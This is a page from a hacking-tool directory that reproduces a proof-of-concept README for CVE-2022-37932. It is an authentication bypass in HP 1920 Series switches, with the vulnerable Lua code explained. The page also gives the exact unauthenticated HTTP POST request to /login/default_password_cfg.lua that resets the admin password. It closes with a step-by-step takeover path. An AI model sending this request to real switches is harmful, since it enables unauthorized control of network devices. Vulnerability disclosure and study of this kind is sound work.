Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-37932 — Proof-of-concept exploit for an authentication bypass in HP 1920 Series switches, allowing unauthenticated admin password change via crafted HTTP POST request. | Kitploit
Tools/GitHubGitHub/tim-hoekstra/cve-2022-37932
IoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubtim-hoekstra/cve-2022-37932

CVE-2022-37932

Proof-of-concept exploit for an authentication bypass in HP 1920 Series switches, allowing unauthenticated admin password change via crafted HTTP POST request.

View Repository
2291 year agoNot yet reviewed
Share

HP Switch Firmware Authentication Bypass Vulnerability

CVE-2022-37932

Firmware Version: PD.02.21
Affected Devices: HP 1920 Series Smart Managed Switches

Overview

This repository documents a critical authentication bypass vulnerability in HP 1920 Series Smart Managed Switches running firmware version PD.02.21. The vulnerability allows an unauthenticated attacker to change the admin password without prior authentication, effectively allowing complete takeover of the device.

Technical Details

The vulnerability exists in the /login/default_password_cfg.lua script, which handles changing the default password for the device. This script:

  1. Accepts form POST requests without checking if the user is authenticated
  2. Only verifies that the oldPwd parameter matches the default password (which is blank/empty)
  3. Directly changes the user's password based on POST parameters

Vulnerable Code

The key vulnerable section in default_password_cfg.lua:

if (request_method == 'POST') then
  -- No authentication or session checks!
  
  local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
  -- ...

  if form_post.oldPwd ~= defaultPassword then
    errorStatus = "401 Unauthorized"
    errorText = label.old_password_mismatch
  else
    -- Proceeds to change password
    -- ...
  end
end

The script lacks critical security controls:

  • No session validation
  • No CSRF protection
  • No rate limiting
  • Direct access to password change functionality without authentication

Proof of Concept

An attacker can exploit this vulnerability using a simple HTTP POST request:

POST /login/default_password_cfg.lua HTTP/1.1
Host: [target-ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

username=admin&oldPwd=&newPwd=[new-password]&confirmPwd=[new-password]

Note: The oldPwd parameter is left empty as the default password is blank.

Impact

This vulnerability allows an unauthenticated attacker to:

  1. Change the admin password without knowing any credentials
  2. Gain complete administrative control over the device
  3. Configure the switch, modify network settings, and potentially compromise the entire network

Exploitation Path

  1. Locate a vulnerable HP 1920 Series switch on the network
  2. Send the crafted HTTP POST request directly to the device
  3. Admin password is changed to attacker-controlled value
  4. Attacker can now log in with the new password and full admin privileges

Credits

Haven't had the time to research who originally discovered this vulnerability I'm just posting a Proof of Concept.

Legal Disclaimer

This information is provided for educational purposes only. The author is not responsible for any misuse of this information. Always obtain proper authorization before testing for vulnerabilities.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    353
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    288

Explore all tools

Browse our collection of tools

View all tools →